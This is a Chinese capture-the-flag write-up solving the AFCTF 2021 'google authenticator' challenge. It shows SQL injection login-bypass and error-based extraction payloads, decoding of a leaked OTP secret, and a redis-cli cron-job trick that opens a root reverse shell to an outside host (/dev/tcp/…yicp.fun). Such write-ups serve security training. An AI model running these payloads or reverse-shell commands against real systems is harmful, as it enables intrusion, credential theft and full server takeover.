[AFCTF 2021]google authenticator


前置知识

谷歌身份验证

GitHub上有开源的项目
参考文章

我们下载下载该项目,然后按照给的exp修改一下
在这里插入图片描述在该项目创建exp.php,内容如下

<?php
require_once 'PHPGangsta/GoogleAuthenticator.php';

$ga = new PHPGangsta_GoogleAuthenticator();
$secret = 'IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB';
$oneCode = $ga->getCode($secret);
echo "Checking Code '$oneCode' and Secret '$secret':\n";

成功生成验证码
在这里插入图片描述

redis-cli结合定时任务提权

步骤如下

redis-cli -h 靶机ip
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/5i781963p2.yicp.fun/58265 0>&1\n\n"
save

然后开启监听,过一会就会发现反弹shell成功并且是root权限

解题过程

打开题目发现是登录框
在这里插入图片描述
直接试试万能密码登录成功

1' or 1=1#
123456

提示/google_authenticator.php,访问一下发现要验证身份
在这里插入图片描述没啥线索只好回去继续sql注入
一开始尝试联合注入发现只能知道字段数为4
在这里插入图片描述
试试报错注入,存在回显
在这里插入图片描述
然后一步步注入

//爆数据库  actf_is_fun
1' and updatexml(1,concat(0x7e,database(),0x7e),3)#

//爆表名  users
1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='actf_is_fun'),1,31),0x7e),3)#

//爆列名  id,username,password,otp_secret_key
1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),3)#

这里的列名长度不够,_key在后面
然后我们知道要身份验证,我们查询otp_secret_key(很长)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXQiOiJJRkJWSVJTN01KU1hJNURGT0pQV0MzVEVMNVJHSzVEVU1WWkNDSUpCIiwiaWF0IjoxNTE2MjM5MDIyfQ.AQSSxyPihDP8dhVEMpaWrSv2scrEEc2HOmqfAwXqWLY

解码一下得到密钥
在这里插入图片描述
然后就是利用脚本得到验证码

<?php
require_once 'PHPGangsta/GoogleAuthenticator.php';

$ga = new PHPGangsta_GoogleAuthenticator();
$secret = 'IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB';
$oneCode = $ga->getCode($secret);
echo "Checking Code '$oneCode' and Secret '$secret':\n";

输入验证码
在这里插入图片描述继续访问,发现可以蚁剑连接
在这里插入图片描述
连接上后发现权限不够,开始想用suid提权发现不行
查看下历史进程

ps aux

发现是redis数据库
在这里插入图片描述
利用redis提权方式有几种,主从复制版本问题用不了,写马权限不够
这里用的是redis-cli结合定时任务来反弹root权限的shell提权
我们先反弹shell到服务器上
在这里插入图片描述然后就是提权,由于我们是反弹shell,而redis-cli需要交互模式,但是反弹shell不是交互模式,我们需要将非交互模式变为交互模式(就是进入终端)
步骤如下

redis-cli <<-END
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/5i781963p2.yicp.fun/58265 0>&1\n\n"
save
END

在这里插入图片描述
开启监听,过一会反弹成功得到root权限
在这里插入图片描述

  • 5
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值